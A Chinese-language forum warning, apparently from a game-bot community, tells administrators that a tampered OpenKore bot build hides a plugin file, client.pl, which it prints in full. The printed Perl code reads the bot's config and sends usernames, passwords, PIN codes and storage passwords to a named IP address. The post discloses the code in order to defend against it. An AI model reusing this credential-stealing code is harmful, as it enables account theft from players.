管理員請進，看看你的論壇是否有這ip使用者。

管理員你好

我是仙研網的悠久幻想曲


最近接到我們論壇的會員回報

124.218.73.216

這ip使用者會在各外掛論壇註冊多個帳號

再來發放被動過手腳的ok外掛程式


他所發表的標題是免服改版openkore2.0.5.1修正改版特務．傭辨識



他在外掛plugins資料夾裡有一個隱藏的client.pl檔
會把你的帳號、密碼、pincode、倉庫密碼、伺服器資料傳到124.218.73.216(台灣apol ISP)


client.pl內容

1. use strict;
   
2. use IO::Socket;
   
3. 
   
4. my $mySocket = IO::Socket::INET->new(PeerAddr => '124.218.73.216', PeerPort => '8008', Proto => 'tcp');
   
5. 
   
6. if($mySocket){
   
7.     print scalar <$mySocket>;
   
8.     open(FILE,"control/config.txt") or die "$!\n";
   
9. 
   
10.     while(defined(my $line = <FILE>)){
    
11.         if($line =~ /username\s\w{1,}/ | $line =~ /password\s\w{1,}/ | $line =~ /loginPinCode\s\w{1,}/ | $line =~ /char\s\w{1,}/ | $line =~ /storageAuto_password\s\w{1,}/ | $line =~ /server\s\w{1,}/){
    
12.             my $len = length($line);
    
13.             syswrite($mySocket, $line, $len);
    
14.         }   
    
15.     }
    
16.     close FILE;
    
17.     $mySocket -> close;
    
18. }else{print "";}

複製代碼

以上內容已經證實



請管理員如有發現這種文章

請儘快刪除

並請封鎖上述ip

幫推
超討厭騙取帳號的騙子yociexp197.gif

謝謝大大願意分享給我們此資訊

感謝大大的分享                                                              

謝謝大大願意分享給我們此資訊                     

推推推推推推推推推推推推推推推推推推推推推推推推推推推推推推推推推推推推

推推推推推推推推推推推推推推推推推推推推推推推推推推推推推推推推推推推推

推推推推推推推推推推推推推推推推推推推推推推推推推推推推推推推推推推推推

推推推推推推推推推推推推推推推推推推推推推推推推推推推推推推推推推推推推

推推推推推推推推推推推推推推推推推推推推推推推推推推推推推推推推推推推推